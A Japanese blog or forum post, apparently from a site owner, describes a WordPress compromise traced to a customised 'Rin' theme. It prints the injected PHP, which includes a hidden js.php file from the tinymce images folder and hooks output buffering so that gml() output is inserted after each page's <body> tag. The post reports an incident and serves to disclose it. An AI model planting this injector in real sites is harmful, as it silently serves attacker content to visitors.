同僚に埋め込まれたソース(添付します)を読んでもらいました。
http://www.simplemachines.org/community/index.php?topic=291486.0
にもPOSTされているように、ある特定のファイルを読み込ませて、その中に定義されているgml()という関数を呼び出して、<body>直後にその戻り値を挿入しているようです。
私のケースでは、
/home/username/www/sitename/wordpress/wp-includes/js/tinymce/themes/
advanced/images/xp/js.php
にgml()が定義されているようです。
(上記フォーラムだとcopper.phpとなています)
tinymce自体はWYSWYGエディタのJSのようです。
ということで、なんらかのテーマがこのgml()を呼び出し、Apacheで操作できる(=public_html以下)のファイルに再帰的に書き換えが行われたようです。
汚染されたWordPressは、Rinというテーマを友人がカスタマイズしたものを使っていました。
Rin
http://brokenkode.com/rin
以下ソースです(ディレクトリ名は書き換えてあります):
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('/home/username/www/sitename/wordpress/wp-includes/js/
tinymce/themes/advanced/images/xp/js.php')){
include_once('/home/username/www/sitename/wordpress/wp-includes/js/
tinymce/themes/advanced/images/xp/js.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\<body/si',$c)){
return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}